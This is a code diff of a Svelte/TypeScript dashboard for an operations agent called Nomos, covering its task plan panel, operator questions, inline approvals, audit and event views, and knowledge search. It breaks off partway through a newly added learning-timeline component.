let unsubLive: (() => void) | null = null
let refreshTimer: ReturnType<typeof setTimeout> | null = null
let lastSeenId = 0
async function hydrate(sessionId: string) {
hydratedFor = sessionId
planSteps.set([])
questions.set([])
touched.set([])
healthDiffs.set([])
const [steps, qs] = await Promise.all([fetchPlan(sessionId), fetchQuestions(sessionId)])
if (get(currentSession) !== sessionId) return // switched away while loading
planSteps.set(steps)
questions.set(qs)
}
function applyPlanStepEvent(sessionId: string, type: string, data: any) {
const stepID = data?.step_id as string | undefined
const seq = data?.seq as number | undefined
planSteps.update((steps) => {
const i = steps.findIndex((s) => (stepID && s.id === stepID) || (seq != null && s.seq === seq))
if (i === -1) return steps
const next = [...steps]
next[i] = { ...next[i], status: data.status ?? next[i].status, execution_id: data.execution_id ?? next[i].execution_id }
return next
})
}
function applyEvent(ev: { type: string; correlation_id?: string | null; data?: unknown }) {
const sid = get(currentSession)
if (!sid || ev.correlation_id !== sid) return
const data = (ev.data ?? {}) as any
// Task fields (status/goal/outcome) live on the session row — refetch the
// (cheap) session list so GoalHeader picks up the change without a
// dedicated endpoint. Every event that can change agent_sessions.status
// (goal.set → planning, propose_plan → executing, ask_operator →
// awaiting_input, answerQuestion → executing, complete_task → done/failed)
// must trigger this, not just goal.set/task.status — otherwise the status
// pill goes stale exactly when resumeSession runs the next turn entirely
// server-side, with no client-streaming 'done' event to piggyback a refresh
// on (found live: answering a question via the panel left the header stuck
// on "Needs your input" after the agent had already resumed). Debounced
// since several of these can land in one burst.
if (STATUS_AFFECTING.has(ev.type)) {
if (refreshTimer) clearTimeout(refreshTimer)
refreshTimer = setTimeout(() => loadSessions(), 300)
}
switch (ev.type) {
case 'plan.proposed':
if (Array.isArray(data.steps)) {
const incoming = data.steps.map((s: any) => ({
id: s.id, seq: s.seq, title: s.title, detail: s.detail ?? '',
status: 'pending' as const, target_slug: s.target_slug || undefined
}))
// The server appends rather than replaces once any step has started
// (see store.go proposePlan) — mirror that here so a model that calls
// propose_plan once per step still shows the FULL running history in
// the panel, not just its latest call's single step.
planSteps.update((existing) => (data.appended ? [...existing, ...incoming] : incoming))
}
break
case 'plan.step.started':
case 'plan.step.finished':
applyPlanStepEvent(sid, ev.type, data)
break
case 'question.raised':
questions.update((qs) => [
{
id: data.question_id, prompt: data.prompt ?? '',
context: { why: data.why, options: data.options, entities: data.entities },
status: 'open', created_at: new Date().toISOString()
},
...qs.filter((q) => q.id !== data.question_id)
])
break
case 'question.answered':
questions.update((qs) =>
qs.map((q) => (q.id === data.question_id ? { ...q, status: 'answered', answer: data.answer } : q))
)
break
case 'entity.touched':
if (data.slug) {
const now = Date.now()
touched.update((t) => [{ slug: data.slug, tool: data.tool ?? '', ts: now }, ...t].slice(0, TOUCHED_MAX))
}
break
case 'knowledge.recorded':
// No dedicated store yet — the outcome/knowledge card reads this task's
// digest (fetchSessionDigest) on completion, which already lists it.
break
}
}
// health.changed is task-agnostic (fleet-wide), so it's matched separately:
// show the diff whenever the changed entity is one this task has touched, not
// by correlation_id (health events don't carry one).
function applyHealthChanged(ev: { type: string; data?: unknown }) {
if (ev.type !== 'health.changed') return
const data = (ev.data ?? {}) as any
if (!data.slug) return
const isRelevant = get(touched).some((t) => t.slug === data.slug)
if (!isRelevant) return
healthDiffs.update((d) => [{ slug: data.slug, from: data.from, to: data.to, ts: Date.now() }, ...d].slice(0, 8))
}
// startWorkspace opens the global event subscription and begins tracking the
// active session. Call once from the panel's onMount; call the returned
// cleanup on unmount. Safe to call multiple times (ref-counted underneath).
export function startWorkspace(): () => void {
unsubStream = subscribeEvents()
const unsubSession = currentSession.subscribe((sid) => {
if (sid && sid !== hydratedFor) hydrate(sid)
if (!sid) {
hydratedFor = null
planSteps.set([])
questions.set([])
touched.set([])
healthDiffs.set([])
}
})
unsubLive = liveEvents.subscribe((evs) => {
if (evs.length === 0) return
const maxId = evs[0].id
if (maxId <= lastSeenId) {
return
}
const fresh = evs.filter((e) => e.id > lastSeenId)
lastSeenId = maxId
// Oldest-first application so ordering (e.g. plan.step.started before
// .finished) is preserved.
for (const e of fresh.slice().reverse()) {
applyEvent(e)
applyHealthChanged(e)
}
})
return () => {
unsubSession()
unsubLive?.()
unsubStream?.()
}
}
// Sweep expired pulses/diffs on an interval so old touches stop glowing.
setInterval(() => {
const now = Date.now()
touched.update((t) => t.filter((e) => now - e.ts < TOUCHED_PULSE_MS))
healthDiffs.update((d) => d.filter((e) => now - e.ts < HEALTH_DIFF_MS))
}, 1000)

View File

@@ -21,6 +21,16 @@ export function relativeTime(iso: string | null | undefined): string {
return `${d}d ago`;
}
// debounce wraps fn so rapid calls (e.g. keystrokes in a filter input)
// collapse into one invocation after `wait`ms of silence.
export function debounce<T extends (...args: never[]) => void>(fn: T, wait = 300): T {
let timer: ReturnType<typeof setTimeout> | undefined;
return ((...args: Parameters<T>) => {
clearTimeout(timer);
timer = setTimeout(() => fn(...args), wait);
}) as T;
}
// eslint-disable-next-line @typescript-eslint/no-explicit-any
export type WithoutChild<T> = T extends { child?: any } ? Omit<T, "child"> : T;
// eslint-disable-next-line @typescript-eslint/no-explicit-any

View File

@@ -1,134 +0,0 @@
<script lang="ts">
import { onMount, onDestroy } from 'svelte'
import { fetchAgentActivity, type AgentActivity } from '$lib/api'
import { liveEvents, subscribeEvents } from '$lib/stores/events'
import * as Table from '$lib/components/ui/table'
import { Badge } from '$lib/components/ui/badge'
import { Input } from '$lib/components/ui/input'
import * as Select from '$lib/components/ui/select'
import { ScrollArea } from '$lib/components/ui/scroll-area'
let activities = $state<AgentActivity[]>([])
let typeFilter = $state('all')
let agentFilter = $state('')
async function load() {
activities = await fetchAgentActivity({
activity_type: typeFilter !== 'all' ? typeFilter : undefined,
agent_id: agentFilter || undefined
})
}
onMount(() => {
load()
const unsubscribe = subscribeEvents()
const interval = setInterval(load, 5000)
return () => {
unsubscribe()
clearInterval(interval)
}
})
$effect(() => {
const ev = $liveEvents[0]
if (!ev) return
if (ev.type.startsWith('execution.') || ev.type.startsWith('approval.')) load()
})
function typeVariant(type: string): 'default' | 'secondary' | 'outline' {
if (type === 'tool_call') return 'default'
if (type === 'decision') return 'secondary'
if (type === 'escalation') return 'secondary'
return 'outline'
}
function successVariant(success?: boolean | null): 'default' | 'destructive' | 'outline' {
if (success === true) return 'default'
if (success === false) return 'destructive'
return 'outline'
}
</script>
<div class="flex h-full flex-col gap-4 p-4 md:p-6">
<div class="flex items-center justify-between">
<h1 class="text-lg font-semibold">Agent activity</h1>
<span class="text-xs text-muted-foreground">{activities.length} entries</span>
</div>
<div class="flex gap-2">
<Input placeholder="Filter by agent_id…" bind:value={agentFilter} class="max-w-xs" onchange={load} />
<Select.Root type="single" bind:value={typeFilter} onvalueChange={() => load()}>
<Select.Trigger class="w-40">
{typeFilter === 'all' ? 'All types' : typeFilter}
</Select.Trigger>
<Select.Content>
<Select.Item value="all">All types</Select.Item>
<Select.Item value="tool_call">Tool call</Select.Item>
<Select.Item value="reasoning">Reasoning</Select.Item>
<Select.Item value="decision">Decision</Select.Item>
<Select.Item value="mcp_query">MCP query</Select.Item>
<Select.Item value="escalation">Escalation</Select.Item>
</Select.Content>
</Select.Root>
<button type="button" class="rounded-md border px-3 py-1.5 text-xs" onclick={load}>Refresh</button>
</div>
<div class="flex-1 overflow-hidden rounded-md border">
<ScrollArea class="h-full">
<Table.Root>
<Table.Header>
<Table.Row>
<Table.Head class="w-36">Time</Table.Head>
<Table.Head>Agent</Table.Head>
<Table.Head class="w-24">Type</Table.Head>
<Table.Head>Tool / Entity</Table.Head>
<Table.Head>Summary</Table.Head>
<Table.Head class="w-16">Status</Table.Head>
<Table.Head class="w-20">Duration</Table.Head>
</Table.Row>
</Table.Header>
<Table.Body>
{#each activities as a (a.id)}
<Table.Row>
<Table.Cell class="font-mono text-xs text-muted-foreground"
>{new Date(a.ts).toLocaleString()}</Table.Cell
>
<Table.Cell class="font-mono text-xs">{a.agent_id}</Table.Cell>
<Table.Cell><Badge variant={typeVariant(a.activity_type)}>{a.activity_type}</Badge></Table.Cell>
<Table.Cell class="text-xs">
{#if a.tool_name}
<span class="font-mono">{a.tool_name}</span>
{:else if a.entity_id}
<span class="font-mono text-muted-foreground">{a.entity_id}</span>
{:else}
<span class="text-muted-foreground"></span>
{/if}
</Table.Cell>
<Table.Cell class="max-w-64 truncate text-xs text-muted-foreground"
>{a.input_summary ?? a.output_summary ?? '—'}</Table.Cell
>
<Table.Cell>
{#if a.success !== undefined && a.success !== null}
<Badge variant={successVariant(a.success)}>{a.success ? 'ok' : 'fail'}</Badge>
{:else}
<span class="text-muted-foreground"></span>
{/if}
</Table.Cell>
<Table.Cell class="text-xs text-muted-foreground">
{#if a.duration_ms}
{(a.duration_ms / 1000).toFixed(1)}s
{:else}
{/if}
</Table.Cell>
</Table.Row>
{:else}
<Table.Row>
<Table.Cell colspan={7} class="text-center text-muted-foreground">No agent activity yet.</Table.Cell>
</Table.Row>
{/each}
</Table.Body>
</Table.Root>
</ScrollArea>
</div>
</div>

View File

@@ -1,131 +0,0 @@
<script lang="ts">
import { onMount } from 'svelte'
import { fetchAudit, type AuditEntry } from '$lib/api'
import * as Table from '$lib/components/ui/table'
import { Badge } from '$lib/components/ui/badge'
import { Input } from '$lib/components/ui/input'
import * as Select from '$lib/components/ui/select'
import { Button } from '$lib/components/ui/button'
import { ScrollArea } from '$lib/components/ui/scroll-area'
let entries = $state<AuditEntry[]>([])
let actorFilter = $state('all')
let actionFilter = $state('')
let entityFilter = $state('')
async function load() {
entries = await fetchAudit({
actor_type: actorFilter !== 'all' ? actorFilter : undefined,
action: actionFilter || undefined,
entity_id: entityFilter || undefined
})
}
onMount(() => {
load()
const interval = setInterval(load, 30000)
return () => clearInterval(interval)
})
function actorVariant(actor: string): 'default' | 'secondary' | 'outline' {
if (actor === 'agent') return 'secondary'
if (actor === 'operator') return 'default'
if (actor === 'scheduler') return 'outline'
return 'outline'
}
function methodBadge(method?: string | null): string {
if (!method) return ''
if (method === 'GET' || method === 'POST' || method === 'PATCH' || method === 'DELETE') return method
return ''
}
function statusVariant(code?: number | null): 'default' | 'destructive' | 'secondary' | 'outline' {
if (!code) return 'outline'
if (code >= 200 && code < 300) return 'default'
if (code >= 400 && code < 500) return 'secondary'
if (code >= 500) return 'destructive'
return 'outline'
}
</script>
<div class="flex h-full flex-col gap-4 p-4 md:p-6">
<div class="flex items-center justify-between">
<h1 class="text-lg font-semibold">Audit trail</h1>
<span class="text-xs text-muted-foreground">{entries.length} entries</span>
</div>
<div class="flex gap-2">
<Select.Root type="single" bind:value={actorFilter} onvalueChange={() => load()}>
<Select.Trigger class="w-36">
{actorFilter === 'all' ? 'All actors' : actorFilter}
</Select.Trigger>
<Select.Content>
<Select.Item value="all">All actors</Select.Item>
<Select.Item value="agent">Agent</Select.Item>
<Select.Item value="operator">Operator</Select.Item>
<Select.Item value="system">System</Select.Item>
<Select.Item value="scheduler">Scheduler</Select.Item>
</Select.Content>
</Select.Root>
<Input placeholder="Action…" bind:value={actionFilter} class="max-w-32" onchange={load} />
<Input placeholder="Entity…" bind:value={entityFilter} class="max-w-48" onchange={load} />
<Button variant="outline" onclick={load}>Refresh</Button>
</div>
<div class="flex-1 overflow-hidden rounded-md border">
<ScrollArea class="h-full">
<Table.Root>
<Table.Header>
<Table.Row>
<Table.Head class="w-36">Time</Table.Head>
<Table.Head class="w-24">Actor</Table.Head>
<Table.Head>Action</Table.Head>
<Table.Head>Entity</Table.Head>
<Table.Head class="w-20">Method</Table.Head>
<Table.Head class="w-16">Code</Table.Head>
<Table.Head>Correlation</Table.Head>
</Table.Row>
</Table.Header>
<Table.Body>
{#each entries as entry (entry.id)}
<Table.Row>
<Table.Cell class="font-mono text-xs text-muted-foreground"
>{new Date(entry.ts).toLocaleString()}</Table.Cell
>
<Table.Cell>
<div class="flex flex-col gap-0.5">
<Badge variant={actorVariant(entry.actor_type)}>{entry.actor_type}</Badge>
{#if entry.actor_id}
<span class="font-mono text-xs text-muted-foreground">{entry.actor_id}</span>
{/if}
</div>
</Table.Cell>
<Table.Cell class="text-xs">{entry.action}</Table.Cell>
<Table.Cell class="font-mono text-xs text-muted-foreground">{entry.entity_id ?? '—'}</Table.Cell>
<Table.Cell>
{#if methodBadge(entry.method)}
<Badge variant="outline">{methodBadge(entry.method)}</Badge>
{:else}
<span class="text-muted-foreground"></span>
{/if}
</Table.Cell>
<Table.Cell>
{#if entry.status_code}
<Badge variant={statusVariant(entry.status_code)}>{entry.status_code}</Badge>
{:else}
<span class="text-muted-foreground"></span>
{/if}
</Table.Cell>
<Table.Cell class="font-mono text-xs text-muted-foreground">{entry.correlation_id ?? '—'}</Table.Cell>
</Table.Row>
{:else}
<Table.Row>
<Table.Cell colspan={7} class="text-center text-muted-foreground">No audit entries.</Table.Cell>
</Table.Row>
{/each}
</Table.Body>
</Table.Root>
</ScrollArea>
</div>
</div>

View File

@@ -1,8 +1,9 @@
<script lang="ts">
import { messages, streaming, sendMessage, cancelStream, error } from '$lib/stores/chat'
import SessionRail from '$lib/components/SessionRail.svelte'
import SessionGraph from '$lib/components/SessionGraph.svelte'
import TaskContextPanel from '$lib/components/TaskContextPanel.svelte'
import ToolCallGroup from '$lib/components/ToolCallGroup.svelte'
import InlineApproval from '$lib/components/InlineApproval.svelte'
import { Button } from '$lib/components/ui/button'
import { Textarea } from '$lib/components/ui/textarea'
import ArrowUpIcon from '@lucide/svelte/icons/arrow-up'
@@ -125,6 +126,9 @@
<span class="size-1.5 animate-bounce rounded-full bg-current"></span>
</div>
{/if}
{#if msg.pendingApprovals.length > 0}
<InlineApproval approvals={msg.pendingApprovals} />
{/if}
</div>
{/if}
</div>
@@ -176,7 +180,7 @@
type="button"
class="group/rz relative w-1.5 shrink-0 cursor-col-resize touch-none"
onpointerdown={startResize}
aria-label="Resize session graph"
aria-label="Resize task panel"
>
<span
class="absolute inset-y-0 left-1/2 w-px -translate-x-1/2 transition-colors {resizing
@@ -184,8 +188,8 @@
: 'bg-border group-hover/rz:bg-primary/50'}"
></span>
</button>
<div class="min-w-0 flex-1">
<SessionGraph />
<div class="flex min-w-0 flex-1 flex-col">
<TaskContextPanel />
</div>
</div>
{/if}

View File

@@ -44,13 +44,14 @@
const types = $derived(Array.from(new Set(entities.map((e) => e.type))).sort())
const filtered = $derived(
entities.filter((e) => {
const filtered = $derived.by(() => {
const q = query.trim().toLowerCase()
return entities.filter((e) => {
if (typeFilter !== 'all' && e.type !== typeFilter) return false
if (query && !e.slug.includes(query) && !e.name.includes(query)) return false
if (q && !e.slug.toLowerCase().includes(q) && !e.name.toLowerCase().includes(q)) return false
return true
})
)
})
function stateVariant(state?: string | null): 'default' | 'secondary' | 'outline' {
if (!state) return 'outline'
@@ -116,7 +117,10 @@
{#each filtered as entity (entity.id)}
<Table.Row
class="cursor-pointer"
role="button"
tabindex={0}
onclick={() => openEntity(entity.slug)}
onkeydown={(e) => { if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); openEntity(entity.slug) } }}
>
<Table.Cell class="font-mono text-xs">{entity.slug}</Table.Cell>
<Table.Cell><Badge variant="outline">{entity.type}</Badge></Table.Cell>

View File

@@ -1,177 +0,0 @@
<script lang="ts">
import { onMount } from 'svelte'
import { fetchEvents } from '$lib/api'
import { liveEvents, connectionState, subscribeEvents, type OikosEvent } from '$lib/stores/events'
import * as Table from '$lib/components/ui/table'
import { Badge } from '$lib/components/ui/badge'
import { Input } from '$lib/components/ui/input'
import { Button } from '$lib/components/ui/button'
import { ScrollArea } from '$lib/components/ui/scroll-area'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
let history = $state<OikosEvent[]>([])
let paused = $state(false)
let typeFilter = $state('')
let severityFilter = $state('')
let groupByCorrelation = $state(false)
let expandedCorrelations = $state<Set<string>>(new Set())
async function loadHistory() {
history = await fetchEvents({ type: typeFilter || undefined, severity: severityFilter || undefined })
}
onMount(() => {
loadHistory()
const unsubscribe = subscribeEvents()
return unsubscribe
})
const feed = $derived.by(() => {
if (paused) return history
const seen = new Set(history.map((e) => e.id))
const merged = [...$liveEvents.filter((e) => !seen.has(e.id)), ...history]
return merged
.filter((e) => (!typeFilter || e.type.startsWith(typeFilter)) && (!severityFilter || e.severity === severityFilter))
.slice(0, 300)
})
const clustered = $derived.by(() => {
if (!groupByCorrelation) return null
const groups: { corr: string | null; events: OikosEvent[]; latest: number }[] = []
const seen = new Map<string | null, OikosEvent[]>()
for (const ev of feed) {
const key = ev.correlation_id ?? null
if (!seen.has(key)) seen.set(key, [])
seen.get(key)!.push(ev)
}
for (const [corr, events] of seen) {
groups.push({ corr, events, latest: Math.max(...events.map((e) => e.id)) })
}
groups.sort((a, b) => b.latest - a.latest)
return groups
})
function toggleCorrelation(corr: string | null) {
const key = corr ?? '__none'
expandedCorrelations = new Set(expandedCorrelations)
if (expandedCorrelations.has(key)) {
expandedCorrelations.delete(key)
} else {
expandedCorrelations.add(key)
}
}
function correlationLabel(corr: string | null): string {
if (!corr) return 'ungrouped'
return corr.slice(0, 12)
}
function severityVariant(sev: string): 'default' | 'secondary' | 'destructive' {
if (sev === 'critical') return 'destructive'
if (sev === 'warning') return 'secondary'
return 'default'
}
function mostSevere(events: OikosEvent[]): 'info' | 'warning' | 'critical' {
if (events.some((e) => e.severity === 'critical')) return 'critical'
if (events.some((e) => e.severity === 'warning')) return 'warning'
return 'info'
}
</script>
<div class="flex h-full flex-col gap-4 p-4 md:p-6">
<div class="flex items-center justify-between">
<h1 class="text-lg font-semibold">Live event feed</h1>
<span class="text-xs text-muted-foreground">
stream: {$connectionState}
</span>
</div>
<div class="flex items-center gap-2">
<Input placeholder="Type prefix (e.g. entity.)" bind:value={typeFilter} class="max-w-xs" onchange={loadHistory} />
<Input placeholder="Severity" bind:value={severityFilter} class="max-w-32" onchange={loadHistory} />
<Button variant={paused ? 'default' : 'outline'} onclick={() => (paused = !paused)}>
{paused ? 'Resume' : 'Pause'}
</Button>
<Button variant={groupByCorrelation ? 'default' : 'outline'} onclick={() => (groupByCorrelation = !groupByCorrelation)}>
Groups
</Button>
<Button variant="outline" onclick={loadHistory}>Refresh</Button>
</div>
<div class="flex-1 overflow-hidden rounded-md border">
<ScrollArea class="h-full">
{#if groupByCorrelation && clustered}
<div class="flex flex-col">
{#each clustered as group (group.corr ?? '__none')}
{@const key = group.corr ?? '__none'}
{@const isExpanded = expandedCorrelations.has(key)}
<button
type="button"
class="flex items-center gap-2 border-b px-4 py-2 text-left text-xs hover:bg-muted/50"
onclick={() => toggleCorrelation(group.corr)}
>
{#if isExpanded}
<ChevronDownIcon class="size-3 text-muted-foreground" />
{:else}
<ChevronRightIcon class="size-3 text-muted-foreground" />
{/if}
<Badge variant={severityVariant(mostSevere(group.events))} class="shrink-0"
>{mostSevere(group.events)}</Badge
>
<span class="font-mono">{correlationLabel(group.corr)}</span>
<span class="text-muted-foreground">{group.events.length} events</span>
<span class="truncate text-muted-foreground">{group.events[0]?.type ?? ''}</span>
<span class="grow"></span>
<span class="text-muted-foreground">{new Date(group.events[0]?.ts ?? '').toLocaleTimeString()}</span>
</button>
{#if isExpanded}
{#each group.events as ev (ev.id)}
<div class="flex items-center gap-3 border-b py-1 pl-10 pr-4 text-xs">
<span class="w-20 shrink-0 font-mono text-muted-foreground"
>{new Date(ev.ts).toLocaleTimeString()}</span
>
<Badge variant={severityVariant(ev.severity)} class="shrink-0">{ev.severity}</Badge>
<span class="font-mono">{ev.type}</span>
<span class="truncate text-muted-foreground">{ev.source}</span>
</div>
{/each}
{/if}
{/each}
</div>
{:else}
<Table.Root>
<Table.Header>
<Table.Row>
<Table.Head class="w-32">Time</Table.Head>
<Table.Head class="w-24">Severity</Table.Head>
<Table.Head>Type</Table.Head>
<Table.Head>Source</Table.Head>
<Table.Head>Correlation</Table.Head>
</Table.Row>
</Table.Header>
<Table.Body>
{#each feed as ev (ev.id)}
<Table.Row>
<Table.Cell class="font-mono text-xs text-muted-foreground"
>{new Date(ev.ts).toLocaleTimeString()}</Table.Cell
>
<Table.Cell><Badge variant={severityVariant(ev.severity)}>{ev.severity}</Badge></Table.Cell>
<Table.Cell class="font-mono text-xs">{ev.type}</Table.Cell>
<Table.Cell class="text-xs text-muted-foreground">{ev.source}</Table.Cell>
<Table.Cell class="font-mono text-xs text-muted-foreground"
>{ev.correlation_id ?? '—'}</Table.Cell
>
</Table.Row>
{:else}
<Table.Row>
<Table.Cell colspan={5} class="text-center text-muted-foreground">No events yet.</Table.Cell>
</Table.Row>
{/each}
</Table.Body>
</Table.Root>
{/if}
</ScrollArea>
</div>
</div>

View File

@@ -8,6 +8,7 @@
import { Badge } from '$lib/components/ui/badge'
import * as Sheet from '$lib/components/ui/sheet'
import { Skeleton } from '$lib/components/ui/skeleton'
import EntitySheet from '$lib/components/EntitySheet.svelte'
import LocateFixedIcon from '@lucide/svelte/icons/locate-fixed'
interface Node extends Entity {
@@ -289,6 +290,14 @@
search = ''
load()
}
let entitySheetOpen = $state(false)
let entitySheetSlug = $state<string | null>(null)
function openEntityDetail(slug: string) {
entitySheetSlug = slug
entitySheetOpen = true
}
</script>
<div class="flex h-full flex-col gap-3 p-4">
@@ -461,7 +470,7 @@
</Sheet.Header>
<div class="flex flex-col gap-4 overflow-y-auto px-4 pb-4">
<div class="flex gap-2">
<Button variant="outline" size="sm" onclick={() => (location.hash = '#/entity/' + encodeURIComponent(selected!.slug))}>
<Button variant="outline" size="sm" onclick={() => openEntityDetail(selected!.slug)}>
View entity detail
</Button>
<Button variant="outline" size="sm" onclick={() => rerootTo(selected as Node)}>Re-root here</Button>
@@ -504,3 +513,5 @@
{/if}
</Sheet.Content>
</Sheet.Root>
<EntitySheet slug={entitySheetSlug} bind:open={entitySheetOpen} />

View File

@@ -1,19 +1,39 @@
<script lang="ts">
import { searchKnowledge, type KnowledgeHit } from '$lib/api'
import DOMPurify from 'dompurify'
import { searchKnowledge, fetchRecentKnowledge, type KnowledgeHit, type RecentKnowledge, type KnowledgeItem } from '$lib/api'
import * as Card from '$lib/components/ui/card'
import { Badge } from '$lib/components/ui/badge'
import { Input } from '$lib/components/ui/input'
import { Button } from '$lib/components/ui/button'
import { ScrollArea } from '$lib/components/ui/scroll-area'
import EntitySheet from '$lib/components/EntitySheet.svelte'
import SearchIcon from '@lucide/svelte/icons/search'
import SparklesIcon from '@lucide/svelte/icons/sparkles'
import BotIcon from '@lucide/svelte/icons/bot'
let query = $state('')
let results = $state<KnowledgeHit[]>([])
let loading = $state(false)
let searched = $state(false)
let recent = $state<RecentKnowledge>({ stats: { total: 0, by_kind: {}, agent_authored: 0, last_7d: 0 }, items: [] })
let agentOnly = $state(false)
let loadingRecent = $state(true)
async function loadRecent() {
loadingRecent = true
recent = await fetchRecentKnowledge(agentOnly ? 'nomos-agent' : undefined)
loadingRecent = false
}
loadRecent()
function toggleAgentOnly() {
agentOnly = !agentOnly
loadRecent()
}
async function search() {
if (!query.trim()) return
if (!query.trim()) { searched = false; return }
loading = true
results = await searchKnowledge(query)
loading = false
@@ -25,67 +45,142 @@
if (type === 'investigation') return 'default'
return 'outline'
}
function relTime(iso: string): string {
const d = new Date(iso).getTime()
if (!d) return ''
const s = Math.round((Date.now() - d) / 1000)
if (s < 60) return 'just now'
if (s < 3600) return `${Math.floor(s / 60)}m ago`
if (s < 86400) return `${Math.floor(s / 3600)}h ago`
return `${Math.floor(s / 86400)}d ago`
}
let sheetOpen = $state(false)
let selectedSlug = $state<string | null>(null)
function openEntity(slug: string) {
selectedSlug = slug
sheetOpen = true
}
</script>
<div class="flex h-full flex-col gap-4 p-4 md:p-6">
<h1 class="text-lg font-semibold">Knowledge search</h1>
<div class="flex items-center justify-between">
<h1 class="text-lg font-semibold">Knowledge</h1>
</div>
<form
onsubmit={(e) => {
e.preventDefault()
search()
}}
class="flex gap-2"
>
<!-- Learning stats: the system getting smarter, made visible -->
<div class="grid grid-cols-2 gap-3 sm:grid-cols-4">
<Card.Root>
<Card.Header class="p-3">
<Card.Description class="text-xs">Total notes</Card.Description>
<Card.Title class="text-2xl">{recent.stats.total}</Card.Title>
</Card.Header>
</Card.Root>
<Card.Root class="border-primary/30 bg-primary/5">
<Card.Header class="p-3">
<Card.Description class="flex items-center gap-1 text-xs"><BotIcon class="size-3" /> Written by Nomos</Card.Description>
<Card.Title class="text-2xl text-primary">{recent.stats.agent_authored}</Card.Title>
</Card.Header>
</Card.Root>
<Card.Root class="border-success/30 bg-success/5">
<Card.Header class="p-3">
<Card.Description class="flex items-center gap-1 text-xs"><SparklesIcon class="size-3" /> Learned this week</Card.Description>
<Card.Title class="text-2xl text-success">{recent.stats.last_7d}</Card.Title>
</Card.Header>
</Card.Root>
<Card.Root>
<Card.Header class="p-3">
<Card.Description class="text-xs">Runbooks / investigations</Card.Description>
<Card.Title class="text-2xl">{(recent.stats.by_kind.runbook ?? 0)} / {(recent.stats.by_kind.investigation ?? 0)}</Card.Title>
</Card.Header>
</Card.Root>
</div>
<!-- Search -->
<form onsubmit={(e) => { e.preventDefault(); search() }} class="flex gap-2">
<div class="relative flex-1 max-w-lg">
<SearchIcon class="absolute left-2.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
<Input
placeholder="Search documents, runbooks, investigations…"
bind:value={query}
class="pl-8"
/>
<Input placeholder="Search documents, runbooks, investigations…" bind:value={query} class="pl-8" />
</div>
<Button type="submit" disabled={loading || !query.trim()}>
{loading ? 'Searching…' : 'Search'}
</Button>
<Button type="submit" disabled={loading || !query.trim()}>{loading ? 'Searching…' : 'Search'}</Button>
{#if searched}
<Button type="button" variant="ghost" onclick={() => { query = ''; searched = false }}>Clear</Button>
{/if}
</form>
{#if searched}
<p class="text-sm text-muted-foreground">{results.length} result{results.length === 1 ? '' : 's'}{query ? ` for "${query}"` : ''}</p>
{/if}
<!-- Search results mode -->
<p class="text-sm text-muted-foreground">{results.length} result{results.length === 1 ? '' : 's'} for "{query}"</p>
<ScrollArea class="flex-1">
<div class="flex flex-col gap-3 pr-4">
{#each results as hit (hit.id)}
<Card.Root class="cursor-pointer transition-colors hover:bg-muted/50">
<Card.Root class="transition-colors hover:bg-muted/50">
<Card.Header>
<div class="flex items-center gap-2">
<Card.Title class="text-sm">{hit.title}</Card.Title>
<Badge variant={typeVariant(hit.type)}>{hit.type}</Badge>
</div>
{#if hit.snippet}
<Card.Description class="text-xs">{@html hit.snippet}</Card.Description>
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized below, ts_headline only ever emits <b> -->
<Card.Description class="text-xs"
>{@html DOMPurify.sanitize(hit.snippet, { ALLOWED_TAGS: ['b'], ALLOWED_ATTR: [] })}</Card.Description
>
{/if}
{#if hit.linked_entities?.length}
<div class="mt-1 flex flex-wrap gap-1">
{#each hit.linked_entities as slug}
<button
type="button"
class="font-mono text-xs text-muted-foreground underline"
onclick={() => (location.hash = '#/entity/' + encodeURIComponent(slug))}
>
{slug}
</button>
<button type="button" class="font-mono text-xs text-muted-foreground underline" onclick={() => openEntity(slug)}>{slug}</button>
{/each}
</div>
{/if}
</Card.Header>
</Card.Root>
{:else}
{#if searched && !loading}
<p class="py-12 text-center text-muted-foreground">No results found.</p>
{#if !loading}<p class="py-12 text-center text-muted-foreground">No results found.</p>{/if}
{/each}
</div>
</ScrollArea>
{:else}
<!-- Recently learned mode (default) -->
<div class="flex items-center justify-between">
<h2 class="text-sm font-medium text-muted-foreground">Recently learned</h2>
<Button size="sm" variant={agentOnly ? 'default' : 'outline'} class="h-7 gap-1 text-xs" onclick={toggleAgentOnly}>
<BotIcon class="size-3" /> {agentOnly ? 'Nomos only' : 'All sources'}
</Button>
</div>
<ScrollArea class="flex-1">
<div class="flex flex-col gap-2 pr-4">
{#each recent.items as it (it.slug)}
<div class="flex items-start gap-3 rounded-lg border px-3 py-2 transition-colors hover:bg-muted/40 {it.agent_authored ? 'border-primary/30 bg-primary/[0.03]' : ''}">
<div class="mt-0.5">
{#if it.agent_authored}<BotIcon class="size-4 text-primary" />{:else}<SearchIcon class="size-4 text-muted-foreground" />{/if}
</div>
<div class="min-w-0 flex-1">
<div class="flex flex-wrap items-center gap-2">
<span class="text-sm font-medium">{it.title}</span>
<Badge variant={typeVariant(it.kind)} class="text-[10px]">{it.kind}</Badge>
{#if it.agent_authored}<Badge variant="outline" class="border-primary/40 text-[10px] text-primary">learned by Nomos</Badge>{/if}
</div>
{#if it.tags.length}
<div class="mt-1 flex flex-wrap gap-1">
{#each it.tags as t}<span class="rounded bg-muted px-1.5 py-0.5 text-[10px] text-muted-foreground">{t}</span>{/each}
</div>
{/if}
</div>
<span class="shrink-0 text-xs text-muted-foreground">{relTime(it.updated_at)}</span>
</div>
{:else}
{#if !loadingRecent}
<p class="py-12 text-center text-sm text-muted-foreground">
{agentOnly ? 'Nomos hasnt recorded any learnings yet — it will write them here as it solves problems.' : 'No knowledge yet.'}
</p>
{/if}
{/each}
</div>
</ScrollArea>
{/if}
</div>
<EntitySheet slug={selectedSlug} bind:open={sheetOpen} />

View File

@@ -0,0 +1,174 @@
<script lang="ts">
import { onMount, tick } from 'svelte'
import uPlot from 'uplot'
import 'uplot/dist/uPlot.min.css'
import {
fetchLearningTimeline,
fetchLearningTrend,
fetchPatterns,
fetchSkills,
type CapabilityTimelineItem,
type TrendBucket,
type Pattern,
type Skill
} from '$lib/api'
import * as Card from '$lib/components/ui/card'
import { Badge } from '$lib/components/ui/badge'
import TrendingUpIcon from '@lucide/svelte/icons/trending-up'
import SparklesIcon from '@lucide/svelte/icons/sparkles'
let timeline = $state<CapabilityTimelineItem[]>([])
let trend = $state<TrendBucket[]>([])
let patterns = $state<Pattern[]>([])
